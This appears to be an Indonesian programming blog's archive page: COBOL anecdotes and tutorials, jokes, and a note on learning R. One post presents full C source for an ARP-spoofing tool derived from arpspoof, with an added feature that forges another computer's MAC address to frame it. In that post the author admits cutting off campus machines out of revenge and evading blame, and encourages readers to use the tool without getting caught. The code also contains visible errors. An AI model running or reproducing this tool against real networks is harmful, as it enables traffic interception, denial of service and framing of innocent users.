Showing posts with label Programming. Show all posts
Showing posts with label Programming. Show all posts

August 9, 2016

Belajar Bahasa Baru - R

Sudah lama gak ngeblog karena terlalu sibuk dengan kerjaan dan saham ...

kayaknya passion gw emang di dua ini coding dan saham (plus foto2 kalo boleh diitung)

Dan ternyata ada satu bahasa yg bisa mencakup keduanya, nama bahasanya R.

So, setelah familiar dengan C, dan Cobol, sekarang belajar R ... bener-bener ya, bahasanya aneh-aneh semua.

Apa hebatnya R ?

Humm... belum bisa bicara banyak karena baru seminggu belajar (itu jg malam2 sebelum tidur), tapi kalo diliat2 bahasa ini di desain untuk handle array of data, atau data semacam table gitu.

Dan hebatnya bisa langsung ploting ke grafik. Karena terbiasa dengan bahasa yg gak keluar grafiknya sama sekali, pertama liat dia bisa plot grafik dengan mudahnya, saya terkesima sekali... (ndeso yak).

So, kita bisa bikin berbagai macam grafik saham, asal tau cara perhitungannya :)

Selain itu, R ini bisa digunakan untuk backtrack performa algoritma trading...

Meskipun sampai skrg blm punya algoritma trading beneran (karena selama ini cuma pake Feeling Analysis), tapi suatu saat kemungkinan diperlukan.. kalo metode pemilihan saham saya bisa dibuat algoritmanya.. hehe

Untuk sample hasil backtrack sample plot mungkin lain kali saya coba upload :)


December 20, 2008

Keunikan Bahasa COBOL (akhirnya kutemukan juga)

Setelah setahun begelut dengan COBOl, setelah berusaha memahami COBOl, mencintai COBOL, menemukan suatu yang spesial dari COBOL, akhirnya kemarin ketemu juga keunikan bahasa pemrograman yang satu ini.

Uniknya di mana ?

OK begini nih...

Jika saya memiliki variable X yang menupakan type 9 ( unsigned integer di bahasa C),

Berapakah nilai X jika :
X = 2 / 3 * 9 ( dua dibagi tiga dikali sembilan ) ?

Hayu jawab dulu deh... sebentar doang tuuh..

Jika kamu menjawab nilai X adalah 6 atau 5, dalam kasus COBOL, Anda keliru...
di COBOL jawabannya adalah 0.

Lho kok bisa ?

Hayooo ada yang tau jawabannya ?
Saya sendiri punya teori, bahwa si COBOL memprosesnya seperti ini :

step 1: devide 3 from 2 giving X ( bagilah 3 dari 2 kemudian hasilnya simpan di X).
Step 2: multiply X by 9 giving X (kalikan X dengan 9 kemudian hasilnya simpan di X).

Mengapa hasilnya X adalah 0 ?
karena ketika pembagian pertama (2/3) adalah 0.666666...7 maka oleh COBOL akan dibulatkan menjadi 0 karena tipe si X adalah tipe 9 (padanannya unsigned integer di bahasa C)
so.. ketika step ke dua... X dilkali dengan 9, hasilnya akan 0 karena nilai X sebelumnya adalahh 0.. (0*9=0) ..

Wi... primitif sekali bukan ?
si COBOL melakukannya benar-benar step by step, tidak seperti bahasa pemrograman yang baru-baru sekarang... Mungkin mirip assembler ??
Akhirnya menemukan keunikan COBOL v^ ^

September 22, 2008

Buku - Buku Cobol

Hei...
Aku ada buku COBOL nih...
kalo ada akademisi yang membutuhkan referensi belajar COBOL... bisa hubungi saya.
Karena buku ini milik kantor, so... paling bisa bantu fotokopiin aja...

ada tiga buku ...
yang pertama :
Structured Cobol Programming (dapat dilihat di http://www.amazon.com/Structured-COBOL-Programming-Nancy-Stern/dp/0471871508)

yang ke dua :
Fundamentals of Structured COBOL Programming, nth edition

dan yang ke tiga :
Bahasa COBOL karya Jogianto, terbitan Penerbit Andi.

Jika ada yang butuh... email saja ke email saya.

silverant[at]gmail.com

April 15, 2008

non procedural cobol code at real-world program

non procedural COBOL coding style...

CONTROL-CHECK.
IF WS-ALL-ORGS IS EQUAL TO 'Y'
GO TO PROCESS-ACCT.
IF WS-CC-ORG-TYPE IS EQUAL TO WS-CONTROL-ORG
GO TO PROCESS-ACCT.
IF WS-CC-ORG-TYPE IS GREATER THAN WS-CONTROL-ORG
GO TO ACCT-LOOP.
PERFORM READ-CONTROL-CARD THRU READ-CONTROL-CARD-EXIT.
GO TO CONTROL-CHECK.
PROCESS-ACCT.
MOVE ACCT-NMBR (xxx) TO WS-NOMINAL-KEY.
PERFORM CARDHLD-RANDOM-READ THRU CRR-XIT.
IF WS-IO-COMPLETE
GO TO ACCT-CUST.
IF WS-INVALID-ACCT-NBR
MOVE 'X' TO REASON
GO TO BUILD-EXCEPTION.



READ-CONTROL-CARD.
IF WS-CSC-EOF-SW IS EQUAL TO 'Y'
MOVE 'xxxxxx' TO WS-CC-ORG-TYPE
GO TO READ-CONTROL-CARD-EXIT.
READ CONTROL-SPECS
AT END
MOVE 'xxxxxx' TO WS-CC-ORG-TYPE
MOVE 'Y' TO WS-CSC-EOF-SW
GO TO READ-CONTROL-CARD-EXIT.
IF CSC-PROGRAM-NAME NOT = 'xxxxxx' AND 'xxxxxx'
GO TO READ-CONTROL-CARD.
MOVE CSC-CONTROL-CARD TO WS-CONTROL-CARD.
IF WS-CC-ORG-TYPE IS EQUAL TO 'xxxxxxx '
MOVE 'Y' TO WS-ALL-ORGS
MOVE 'xxxxxx' TO WS-CC-ORG-TYPE.
IF WS-CC-ORG-TYPE IS NOT NUMERIC
IF WS-CONSOLE-ACCEPT-SW IS EQUAL TO 'Y'

bla bla bla....

READ-CONTROL-CARD-EXIT. EXIT.


Can you read it ?
Yes, absolutely.

Can you understand it ?
Humm.. yes I do.

Can you manage it ?
Humm... I think I can...

Can you fix it ?
I don't know...

Potongan kode di atas sangat tidak procedural.. sangat spaghetti code... Padahal digunakan di real world system, real world business.. di 8 dari 11 Bank di Indonesia...

Kebayang kan susahnya me manage system buatan orang "lama" yang gak mau menggunakan procedural programming, dan tetep keukeuh menggunakan spaghetti programming ?

April 10, 2008

March 25, 2008

Software Development Cycle

software development lifecycle
1. Programmer produces code he believes is bug-free.
2. Product is tested. 20 bugs are found.
3. Programmer fixes 10 of the bugs and explains to the testing department that the other 10 aren't really bugs.
4. Testing department finds that five of the fixes didn't work and discovers 15 new bugs.
5. Repeat three times steps 3 and 4.
6. Due to marketing pressure and an extremely premature product announcement based on overly-optimistic programming schedule, the product is released.
7. Users find 137 new bugs.
8. Original programmer, having cashed his royalty check, is nowhere to be found.
9. Newly-assembled programming team fixes almost all of the 137 bugs, but introduce 456 new ones.
10. Original programmer sends underpaid testing department a postcard from Fiji. Entire testing department quits.
11. Company is bought in a hostile takeover by competitor using profits from their latest release, which had 783 bugs.
12. New CEO is brought in by board of directors. He hires a programmer to redo program from scratch.
13. Programmer produces code he believes is bug-free...

Life without Computer

An application was for employment
A program was a TV show
A cursor used profanity
A keyboard was a piano!

Memory was something that you lost with age
A CD was a bank account
And if you had a 3 ½ inch floppy
You hoped nobody found out!

Compress was something you did to garbage
Not something you did to a file
And if you unzipped anything in public
You'd be in jail for awhile!

Log on was adding wood to a fire
Hard drive was a long trip on the road
A mouse pad was where a mouse lived
And a backup happened to your commode!

Cut - you did with a pocket knife
Paste you did with glue
A web was a spider's home
And a virus was the flu!

I guess I'll stick to my pad and paper
And the memory in my head
I hear nobody's been killed in a computer crash
But when it happens they wish they were dead!

Cobol Programmer's Joke

Jack was a COBOL programmer in the mid to late 1990s. After years of being taken for granted and treated as a technological dinosaur by all the Client/Server programmers and website developers, he was finally getting some respect. He'd become a private consultant specializing in Year 2000 conversions.

Several years of this relentless, mind-numbing work had taken its toll on Jack. He began having anxiety dreams about the Year 2000. All he could think about was how he could avoid the year 2000 and all that came with it.

Jack decided to contact a company that specialized in cryogenics. He made a deal to have himself frozen until March 15th, 2000. The next thing he would know is he'd wake up in the year 2000; after the New Year celebrations and computer debacles; after the leap day. Nothing else to worry about except getting on with his life.

He was put into his cryogenic receptacle, the technicians set the revive date, he was given injections to slow his heartbeat to a bare minimum, and that was that.

The next thing that Jack saw was an enormous and very modern room filled with excited people. They were all shouting "I can't believe it!" and "It's a miracle" and "He's alive!". There were cameras (unlike any he'd ever seen) and equipment that looked like it came out of a science fiction movie.

Someone who was obviously a spokesperson for the group stepped forward. Jack couldn't contain his enthusiasm. "Is it over?" he asked. "Is the year 2000 already here? Are all the millennial parties and promotions and crises all over and done with?"

The spokesman explained that there had been a problem with the programming of the timer on Jack's cryogenic receptacle, it hadn't been year 2000 compliant. It was actually eight thousand years later, not the year 2000. Technology had advanced to such a degree that everyone had virtual reality interfaces which allowed them to contact anyone else on the planet.

"That sounds terrific," said Jack. "But I'm curious. Why is everybody so interested in me?"

"Well," said the spokesman. "The year 10000 is just around the corner, and it says in your files that you know COBOL".

March 13, 2008

Quote

"If you think it's expensive to hire a professional to do the job, wait until you hire an amateur."

keren ya quote nya...

February 19, 2008

Cobol Tutorial Part 01 -- Introduction to Cobol

What is Cobol ?
Cobol is an acronym of Common Business Oriented Language..
So it seems that this language is made (born) to support business.. so it's mission is very clear.

Why Cobol ?
It is made for business...
I am a C lover and a C user for some years... and at first I questioned "Why they don't use C on mainframe?, I've been told that C is one of the fastest language.. Why they use Cobol instead of C?"

Now.. maybe I found the answer... C is too good for solving the business problem.
All we need on mainframe is string processing... and Cobol have the built in string processing routine... so why wee need the more complex language? (but still, I love C more than Cobol :p)

Why they don't change Cobol to the newer language ?
Humm... as we see now, Java spreads everywhere... is it going to replace Cobol ?
Will the applications in mainframe written on Cobol be rewritten to Java (or any newer language) ?

Humm... Who know ? Maybe...
but on my opinion, Cobol application will be exist at least until I die... ( it means that I can use my Cobol skill to get some money before I die :p )

Why ?

Because to rewrite and redeploy applications on the production line is not as simple as making a standalone application... It's all about business... it's all about money...

If the mainframe is down (let say during the transition mainframe will down for 5 hours) How many transaction is lost ?

According to preliminary results of Micro Focus' survey of 750 mainframes in the U.S. and Canada, 41% name COBOL as a principal programming language by an approximate 25% margin over Java, the next most popular language. Preliminary results also find 52% of mainframe applications are still written in COBOL.

"COBOL is like an invisible giant. There's reported to be 180 billion-200 billion lines of code out there, processing 75% of commercial business. Few companies are keen to throw away the hundreds or thousands of man-years that have been invested in mature, high-performance COBOL code. Instead, they are integrating and building bridges between COBOL, .NET and J2EE [Java 2 Platform, Enterprise Edition], using service-oriented architectures to preserve the strengths of the legacy code while benefiting from Web-oriented development tools," Lillycrop, CEO of U.K.-based Arcati Research and Publishing, said.

So ....

February 15, 2008

Tutorial Cobol (bagian 00 - Pre Tutorial)

Humm.... daripada nganggur....
kayaknya pengin bikin "Tutorial Cobol"....

so ntar materi nya kutulis di sini, trus pembaca/pengikut tutorial bisa menuliskan code nya di bagian comment biar ntar kujalanin di mainframe...

Soalnya.. jarang kan yang punya compiler cobol.... ^^

Tapi... apa ada yang berminat ya...
menurutku sih.. dari 1000 programmer.. paling cuma 5 orang yang akhirnya ketemu ama Cobol...
Mungkin 400 ketemu ama Java... 300 ama .NEt... yang lainnya mungkin ketemu ama PHP, C,C++, Ruby....

Gimana.. ada yang tertarik gak ?


Sebenarnya sih... aku juga baru bisa-bisaan doang Cobolnya.. tapi at least... di sini ada buku Cobol, ada compiler Cobol, dan ada mainframe buat njalanin program :)

so... cuma pengin berbagi aja, untuk yang pengin belajar Cobol tapi gak punya mainframe... :)

Gimana ? Ada yang tertarik belajar Cobol ga ??

January 16, 2008

Ralat buat Copybook Error

Ralat buat postinganku yang sebelumnya, ternyata bukan copybooknya yang error...
ehm... maksudku... routine di copybook itu memang punya kelemahan, tapi "biasanya" juga gpp.

So sebenarnya mungkin /me bisa disebut menemukan kelemahan dari routine tersebut, tapi bisa juga dikatakan Salah cara menggunakan routineatau bisa juga disebut juga bahwa Routine tersebut memang sengaja dibuat demikian, so harus gitu, kalo gak gitu ya jadi error (meskipun pesan error yang ditampilkan "tidak" sesuai dengan "seharusnya" ) tergantung dari cara pandang kita dan kata hati kita

humm.. whatever... yang jelas, setelah menggunakan copybook itu sesuai dengan standar penggunaannya.. /me berhasil.

so... kalo ada sesuatu yang salah padahal biasanya bisa.. kata tentor ku sih.. Jangan gunakan kata "Ah biasanya juga bisa kok". Cek lagi semuanya. Lokalisir masalahnya, Sederhanakan masalahnya, sederhanakan code sampai se sederhananya -- kalo perlu sampai kode yang "pasti" jalan dahulu, baru kemudian jika berhasil, baru di tambahkan kerumitannya ( Jika kita udah membuat code yang panjang, sebaiknya kita comment dulu bagian2 yang berpotensi menimbulkan masalah, sederhanakan dahulu sampai sesederhana mungkin, kemudian step-by-step, comment nya dibuka kembali hingga ketemu letak errornya.

Lebih baik lagi kalo dibantu debugger, tentunya harus bisa cara menggunakan dan membaca pesan dari debugger ini (belajar lagi deh... T_T )

Apa gunanya pake debugger yang canggih kalo gak bisa membantu kerjaan kita, ya gak ?

Mohon maaf ya.. udah menyalahkan orang lain... :)

January 12, 2008

Copybook Error

Hari ini, hari sabtu.
Meski seharusnya libur, /me ke kantor...
soalnya penasaran banget ama program yang 2 hari lalu kubuat... masa sih error ??

Sejak tadi siang jam 11.00 an aku mulai menutak-atik code ini..
dilihat dari sisi manapun benar.. tapi kok error ya.. T__T

pesen errornya selalu :

"JGOTGS01 RUNTGS01 - ABEND=S0C7 U0000 REASON=00000007 401"

Dicari ke mana2 (googling).. tetep gak menemukan pesan error yang pasti (beberapa situs bilang gini, yang lain bilang gitu).. dan dari beberapa diantaranya katanya sih karena invalid data...

this error is caused by an data exception, occurs due when we entered
non-numeric data in numeric fieid.


kucari ke mana2.. gak ketemu juga. @_@

Pada saat sudah hampir putus asa (sebenarnya sih udah putus asa dari 1/2 jam yang lalu) akhirnya... kututup copybook untuk mengatasi ABEND (abnormal Ended) error.

So kalo ada error, TIDAK kuserahkan ke ABEND routine standard, tapi kutangani sendiri menggunakan message dan log ke sysout.

Dan... It Works ! WOW !

Aneh... padahal biasanya ABEND routine ini njalaninnya ya.. seperti yang kupake pada program ini...

Ada yang ngubah ? Mungkin saja...

@_@ huuuuh... 4 jam hanya gara2 Routine Standard yang tidak standard lagi ???

so... pelajaran yang diambil :

1. Kalo programmu error, selalu ada yang salah. Compiler selalu benar. Mungkin error bukan di programmu, bisa saja di environment, di resource yang kamu pake, di security access, atau di otakmu :D Pokoknya, komputer selalu benar !

2. Copybook, Library, Shared Library buatan manusia, dan bisa dibuah manusia. Biasanya benar, tapi bisa juga salah, atau bisa saja tadinya benar tapi jadi salah. So.. kalo kamu yakin environment udah benar, program udah benar, check library / copybooknya :)

3. Jangan putus asa... jangan putus asa dan jangan putus asa !!!
Sudah berapa kali kita mendapatkan keajaiban gara2 tidak putus asa ini ? Teruskan budaya tidak putus asamu !!


Ah.. capek.. pulang ah.. otak udah puanaaaaas.... yang penting udah ketemu di mana letak kesalahannya, dan program sudah jalan ( meski belum sempurna ). Ntar disempurnakan di hari berikutnya (Minggu atau senin ya? )

See yaaa

December 19, 2007

Pelatihan CICS


Ah..

akhirnya pelatihan CICS kelar juga...

Ternyata susah juga bikin program online (lewat cics) menggunakan COBOL
banyak banget bedanya ama program batch...

Gak nyangka, ternyata bikin program online di atas CICS ribet banget..
ada program.. ada map... ada transaction... ada resource file...

ribet ribet...

tapi seru banget sih... (kalo setelah ribet itu muncul solusinya)
Kalo gak.. ya... gak seru :p

November 29, 2007

I love (Pelatihan) COBOL


Humm.. aku suka pelatihan Cobol !!
kenapa suka ama pelatihan Cobol ? Karena pelatihan cobol dilakukan di ruang rapat dan menggunakan komputer. Dan... dari sini /me bisa ngenet :D :D
Asal test udah selesai, /me jadi bebas ngenet, bebas chatting, bebas nge blog :D

Pelatihan Cobolnya sendiri asyik... pengajarnya jago (maklum, udah pengalaman di IBM bertahun-tahun)...

Intinya.. /me cinta pelatihan Cobol ^^

Andai tiap hari pelatihan Cobol :D :D

October 24, 2007

silvarpspoof.c -- pengakuan dosa, penjelasan program

Mask Spoof

Program ini ditulis dalam bahasa C dan bisa di complie di mesin linux dengan compiler GCC.
bagi yang malas meng compile sendiri, mungkin nanti akan saya berikan link ke "executable code" nya.
Program ini membutuhkan library pcap terinstall di komputer

Program ini pernah digunakan untuk memutuskan koneksi beberapa komputer, atau mengisolir suatu subnet tertentu biar tidak bisa connect internet, kadang karena iseng, dendam atau karena alasan yang lainnya. (maafin yaa)

Dan program ini bekerja dengan baik untuk semua komputer di jaringan STT Telkom (entah sekarang masih bisa atau tidak), yang kamu perlu tahu hanya IP address target (dan kalo pengin memfitnah komputer lain, cari juga MAC address si victim -- cara mencari MAC address tidak dijelaskan di sini)

Cara kerjanya sebenarnya cukup sederhana, prinsipnya adalah melakukan ARP broadcast agar ARP table di tiap-tiap komputer yang menerima ARP broadcast tersebut berubah sesuai keinginan kita, sehingga ketika ada paket untuk si A, paket untuk si A tersebut diarahkan ke si B karena ARP tablenya sudah berubah.

Jika yang diracuni ARP broadcast seperti ini adalah router.. tebak sendiri akibatnya.. Yah.. intinya tadi itu yang ada di atas (mohon maaf kalo penjelasannya ga jelas, karena saya sendiri tidak mengerti konsep jaringan komputer :p)

Penggunaannya bisa bermacam-macam, tergantung kreativitas kita :D

Program ini saya modifikasi untuk "memfitnah" komputer lain. Karena apa gunanya kita "nakal" aklo akhirnya ketahuan, betul tidak ?

Namun sayang sekali, dari beberapa kali melakukan tindakan "nakal" tersebut.. dan karena ga pernah ketahuan, akhirnya suatu saat saya lengah, tidak menggunakan fitur penyamaran yang saya tambahkan ketika melakukan tindakan nakal dan komputer juga kutinggal makan ke warung, dan kebetulan sekali (kebetulan yang tidak mengenakkan) saat itu ada Maestro Temon aka Sleepy_eye aka kudanil (kapan ya aku bisa ngalahin orang ini!?) yang kemudian menganalisa dan mentrace ke komputer saya... (Duh...ketahuan deh).

Tapi sebenarnya, setelah ketahuan itu pun, aku masih beberapa kali menggunakan program ini (kali ini dengan mode penyamaran diaktifkan tentunya), karena meskipun mereka curiga, mereka tidak punya bukti apapun bahwa pelakunya adalah saya :D
Dan kebetulan saat itu mereka memiliki musuh bersama (salah satu lab di ged E yang sering membuat ulah). So, kumanfaatin sekalian... (maaf yaaa... gak lagi deh..)

So kalo lain kali mau menggunakan program ini, gunakanlah sebaik-baiknya...
jangan sekali-kali lengah :D


So here we go...

Beginilah penjelasan algoritma nya (bagi yang ga pengin tau cara kerja nya, gpp kok... program bisa langsung dijalankan tanpa perlu tau cara kerjanya )

Mohon maaf untuk maestro yang sudah biasa coding, kalo penjelasannya sangat n00b atau tidak profesional, atau bahkan salah... mohon masukannya yaaa...

Untuk yang baru di programming.. mohon maaf kalo penjelasannya gak jelas.. memang sengaja diuat gitu, biar banyak yang tanya, banyak yang ngasih comment... karena males gak sih udah nulis macem-macem kalo ternyata ga ada yang baca ? :D

So kasih komentar lah.. bertanya lah.. dan kan kuberikan apa yang bisa kuberikan <-- bahasanya guaya banget yak :p



//Bagian komentar.. tidak ikut terkompile dalam program
/*
silvarpspoof.c

Redirect packets from a target (or from all target host) intended for
host on the LAN/WAN to ourselves or to victim.

modified from arspoof by Dug Song

silverant

*/


//File-file Header yang dibutuhkan. Perhatikan bahwa dia membutuhkan library pcap.h


#include "config.h"

#include "sys/types.h"
#include "sys/param.h"
#include "stdio.h>
#include "string.h"
#include "signal.h"
#include "err.h"
#include "libnet.h"
#include "pcap.h"

extern char *ether_ntoa(struct ether_addr *);
extern int arp_cache_lookup(in_addr_t, struct ether_addr *);

//Definisi global variable

static struct libnet_link_int *llif;
static struct ether_addr spoof_mac, target_mac, victim_mac;
static in_addr_t spoof_ip, target_ip, victim_mac;
static char *intf;

//Procedure untuk menampilkan cara penggunaan jika user menjalankan program dengan argumen yang salah
void usage(void)
{
fprintf(stderr, " silvarpspoof, modified from arspoof by Dug Song \n Usage: silvarpspoof [-i interface] [-t target] -v [victim] host\n");
exit(1);
}

//Fungsi untuk mengirimkan paket ARP

int arp_send(struct libnet_link_int *llif, char *dev, int op, u_char *sha, in_addr_t spa, u_char *tha, in_addr_t tpa)
{
// Pendefinisian local variable
char ebuf[128];
u_char pkt[60];

// Jika Source Host Adress kosong, maka...
if (sha == NULL )
{
sha = (u_char *)libnet_get_hwaddr(llif, dev, ebuf);
}
if (spa == 0)
{
if ((spa = libnet_get_ipaddr(llif, dev, ebuf)) == 0)
return (-1);
spa = htonl(spa); /* XXX */
}
if (tha == NULL)
tha = "\xff\xff\xff\xff\xff\xff";

libnet_build_ethernet(tha, sha, ETHERTYPE_ARP, NULL, 0, pkt);



fprintf(stderr, "%s ", ether_ntoa((struct ether_addr *)sha));

// Tampilkan informasi ke screen
if (op == ARPOP_REQUEST)
{
fprintf(stderr, "%s 0806 42: arp who-has %s tell %s\n",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(tpa, 0),
libnet_host_lookup(spa, 0));
}
else
{
fprintf(stderr, "%s 0806 42: arp reply %s is-at ",
ether_ntoa((struct ether_addr *)tha),
libnet_host_lookup(spa, 0));
fprintf(stderr, "%s\n",
ether_ntoa((struct ether_addr *)sha));
}
return (libnet_write_link_layer(llif, dev, pkt, sizeof(pkt)) == sizeof(pkt));
}

//jika mesin linux...
#ifdef __linux__
int arp_force(in_addr_t dst)
{
struct sockaddr_in sin;
int i, fd;

if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) < 0)
return (0);

memset(&sin, 0, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_addr.s_addr = dst;
sin.sin_port = htons(67);

i = sendto(fd, NULL, 0, 0, (struct sockaddr *)&sin, sizeof(sin));

close(fd);

return (i == 0);
}
#endif

// Fungsi untuk mencari ARP.
int arp_find(in_addr_t ip, struct ether_addr *mac)
{
int i = 0;

do
{
if (arp_cache_lookup(ip, mac) == 0)
return (1);
#ifdef __linux__
/* XXX - force the kernel to arp. feh. */
arp_force(ip);
#else

arp_send(llif, intf, ARPOP_REQUEST, NULL, 0, NULL, ip);
#endif

sleep(1);
}
while (i++ < 3);

return (0);
}

void cleanup(int sig)
{
int i;

if (arp_find(spoof_ip, &spoof_mac))
{
for (i = 0; i < 3; i++)
{
/* XXX - on BSD, requires ETHERSPOOF kernel. */
arp_send(llif, intf, ARPOP_REPLY, (u_char *)&spoof_mac, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(1);
}
}
exit(0);
}

// Main program, semuanya berawal dari sini.
int main(int argc, char *argv[])
{
// Penciptaan dan Inisialisasi variable
int c;
char ebuf[PCAP_ERRBUF_SIZE];

intf = NULL;
spoof_ip = target_ip = 0;

// Parsing argumen (masukkan argumen ke tempat yang sesuai)
while ((c = getopt(argc, argv, "i:t:v:h?V")) != -1)
{
switch (c)
{
case 'i':
intf = optarg;
break;
case 't':
if ((target_ip = libnet_name_resolve(optarg, 1)) == -1)
usage();
break;
case 'v':
if ((victim_ip = libnet_name_resolve(optarg, 2)) == -1)
usage();
break;
default:
usage();
}
}
argc -= optind;
argv += optind;

//Jika Argumen <> 1 maka panggil fungsi usage (tunjukkan cara menggunakannya)
if (argc != 1)
usage();

// Spoof adalah komputer yang dijadikan pendengar (yang meng-catch) paket yang seharusnya ditujukan untuk target.
if ((spoof_ip = libnet_name_resolve(argv[0], 1)) == -1)
usage();

// intf adalah interface yang akan digunakan (misal : eth0 )
if (intf == NULL && (intf = pcap_lookupdev(ebuf)) == NULL)
errx(1, "%s", ebuf);

if ((llif = libnet_open_link_interface(intf, ebuf)) == 0)
errx(1, "%s", ebuf);

// Target adalah komputer sasaran, dimana paket-paket untuk target akan dibelokkan ke spoof
if (target_ip != 0 && !arp_find(target_ip, &target_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(target_ip, 0));

// Victim adalah komputer yang ingin dijadikan "sasaran kemarahan" atau korban fitnah :D
if (victim_ip != 0 && !arp_find(victim_ip, &victim_mac))
errx(1, "couldn't arp for host %s", libnet_host_lookup(victim_ip, 0));

signal(SIGHUP, cleanup);
signal(SIGINT, cleanup);
signal(SIGTERM, cleanup);

//lakukan hal di bawah ini selamanya (looping forever)
for (;;)
{
// arp_send(llif, intf, ARPOP_REPLY, NULL, spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
// panggil fungsi pengirim arp
arp_send(llif, intf, ARPOP_REPLY, (victim_ip ? (u_char *)&victim_mac : NULL), spoof_ip, (target_ip ? (u_char *)&target_mac : NULL), target_ip);
sleep(2);
}
/* NOTREACHED */

exit(0);
}


Well... memang betul banyak yang ga saya jelasin di sini... sengaja biar pada tanya :D :D .. yah... sekedar biar blog saya rame :D

May 28, 2007

Bekerja dengan Master di bidangnya...



...

Saat ini aku bekerja di sebuah perusahaan konsultan IT yang... meskipun ga terlalu besar kalo dilihat dari jumlah karyawannya, kalo dilihat dari client nya perusahaan tampat ku bekerja sekarang perusahaan yang besar.. ( client kami terdiri dari banyak perusahaan asing, perbankan multinational, dst ).

Waktu mendaftar ke perusahaan itu, aku mendaftar sebagai network/system admin... yah.. salah satunya karena selama 4,5 tahun kuliah aku lebih sering terjun ke network ..

Namun sekarang, mungkin karena kekurangan programmer, aku "dipaksa"untuk jadi programmer java ( bahasa pemrograman yang DULU ku benci dan ga pernah mau kupelajari )

Humm.. itu latar belakangku.. dan sekarang kita mulai inti permasalahan yang akan kuceritakan.
Di perusahaan tempat aku bekerja ini, ada seseorang yang bernama ... ehm... sebaiknya nama beliau disembunyikan saja, takutnya kalo-kalo beliau mencari nama beliau lewat google dan ketemu di sini bisa gawat :D

nah.. apa masalahnya dengan orang ini ? sebenarnya ga ada masalah... ( lho ? ) jadi gini ... selama jadi programmer java.. kami kan bekerja dalam team, dan beliau ini ada dalam tim kami ( sebenrnya salah kalo bilang Beliau yang ada di tim ku --- seharusnya aku yang dimasukkan di tim beliau ) .. dan ternyata.. wah... aku terkagum-kagum ama kehebatan beliau di ranah Java ... kayaknya beliau tau sampai ke dalam-dalamnya... sampai ke sejarahnya bahkan.. ( ngeri banget kan ?) beliau juga menegerti teknologi java ( framework) secara mendalam.. ( ck ck ck.. ngeri aja ).. dan kekagumanku ga berhenti di situ.. ternyata beliau juga jago banget oracle... wow.. beliau tahu sampai ke dalam2nya... pokoknya kalo belia lagi ngomong... aku sampai ga ngerti apa-apa.. ( aku jadi meragukan apa aku pantes dikatakan sebagai lulusan teknik informatika .. T_T )

Dan ternyata itu belum apa-apa :((

Kemudian aku tau beliau juga pernah jadi Network admin dan system admin di perusahaan Singapura... dan beliau juga aktif di milis-milis opensource ( di ilmu komputer ) sebagai "problem sover" bukan "penanya" <-- aku banget. huaaaaaaaa.... parah banget.. aku binun.. gimana yak caranya bisa kek gitu... suerr deh aku ga pernah kayak gini (merasa ga punya kelebihan sama sekali dibandingkan beliau di bidang IT ) ama seseorang yang kukenal sebelumnya ( kecuali ama mas Hendi ) :(( Eh.. tapi kok malah melenceng ke arah orang ke tiga yak ceritaku ?? Gini, beberapa waktu yang lalu, aku berkesempatan mengunjungi Plaza Semanggi untuk makan siang bersama ( satu tim berangkat ke Plaza Semanggi ) nah di dalam mall itu kami ketemu ama "mainan robot-robotan" yang bisa di program ( mainan tsb berbentuk alat pembangun gedung-gedung pencakar langit, yang terdiri mulai dari traktor hingga.. lengan-lengan baja untuk mengangkat beban -- entah apa namanya) trus di brosur tersebut deisebutkan bahwa mainan tersebut meemiliki elemen yang bernama phototransistor di dalamnya. Nah karena penasaran ama cara kerja si phototransistor ini, iseng2 aku nanya ama Bapak Master ini.
/me : "Pak, cara kerja phototransistor itu gimana sih Pak?"
dan ga kuduga pertanyaan ini memulai "pembantaian" :((
Master : "Kamu tau cara kerja transistor ga?"
/me : "Humm.. ( mulai kebingungan ) ya.. yang transistor itu yang punya kaki 3, basis, emitor, collector, berfungsi sebagai penguat.. gitu ga Pak ?"
Master : "??, tau ga cara kerjanya masing2 kaki itu ?"
/me : "Wah.. kalo itu ga tau Pak.. (malu... )"
Master : "Wah, cara kerja transistor aja ndak ngerti kok mau jadi jagoan jaringan, gimana tuh !" dan dilanjutkan "transistor itu mirip kayak switch, so arus dikumpulin dari collector, trus dikeluarkan dari emittor, nah yang mengatur itu si Basic", "Emangnya di kuliah ga diajarin yak?"
/me : (jujur -- entah emang ga diajarin atau aku yang ga pernah ikut kuliah yak? ) "Enggak Pak"
Master : "Lho emang ga ada Elektronika dasar?
/me : "ga ada Pak" (maaf kalo ternyata ada mata kuliah itu di IF ... /me ga tau )
/Matser : "Lha... cara kerja transistor aja ga tau, mau jadi jagoan jaringan, ke laut ajah!"
... /me cuma bisa diem.. (lha mau omong apaan ? )
"Emang ga diajarin gerbang logika gitu?"
/me : ada sih Pak, di Arkom (waktu ngulang arkom ada kuliah ini )
Master : Lho, bukan di arkom, emang ga ada mata kuliah X yang dilanjutin ama mata kuliah Y ? ( mata kuliah X ama Y itu aku pernah denger, cuma lupa, kalo ga salah mata kuliah anak elektro )
/me Wah ga ada Pak...
Master : "Lha kamu tau ga, berapa panjang maksimal transfer pake kabel UTP kelas 5, kelas 2 ?"
... daripada bilang tau tapi ga tau alasannya secara bener, mendingan diem aja deh aku.. T_T
Master lagi : " Lha kamu tau ndak, cara masang kabel utp yang baik? kalo ada 2 kabel gimana kalo ada n kabel gimana ?"
.... diem lagi ...
Master : "Tau ga kenapa kok harus dipasang-pasang dengan urutan tertentu ?"
..karena udah diem terlalu lama, terpaksa aku jawab...
/me : "Kalo ga salah itu ngikutin prinsip tangan kanan, yang ada di fisika itu Pak"
Master : "Nah, itu dapetnya di Elektro kan ?"
/me : "Enggak Pak, itu dari fisika, itu pun cuma kayaknya Pak... " T_T





T_T sakit deh... setelah kupikir emang ada benernya juga.. aku ndak tau "hardware" jaringan se detail itu... parah banget.. mau jadi jagoan jaringan ?? ke laut ajah kalo gitu aja ndak ngerti ( padahal aku ndak pernah bilang pengin jadi jagoan jaringan... )

so abis itu /me terpaksa ke howstuf works.com and nyari nyari cara kerja transistor ( dan diode ) dan oooh gitu toh... dan lain kali harus hati-hati kalo mau nanya.. :D


to Master: maaf kalo ada percakapan yang terpotong, salah kata-katanya dsb soalnya peristiwa itu udah lebih dari 3 minggu :D dan... /me ga bermaksud
d "memojokkan" Bapak.. :)
/me malah seneng kok, ada yang mau "membakar" semangat ini, ( /me jadi belajar transistor deh.. T_T ) Makasih ya Pak :)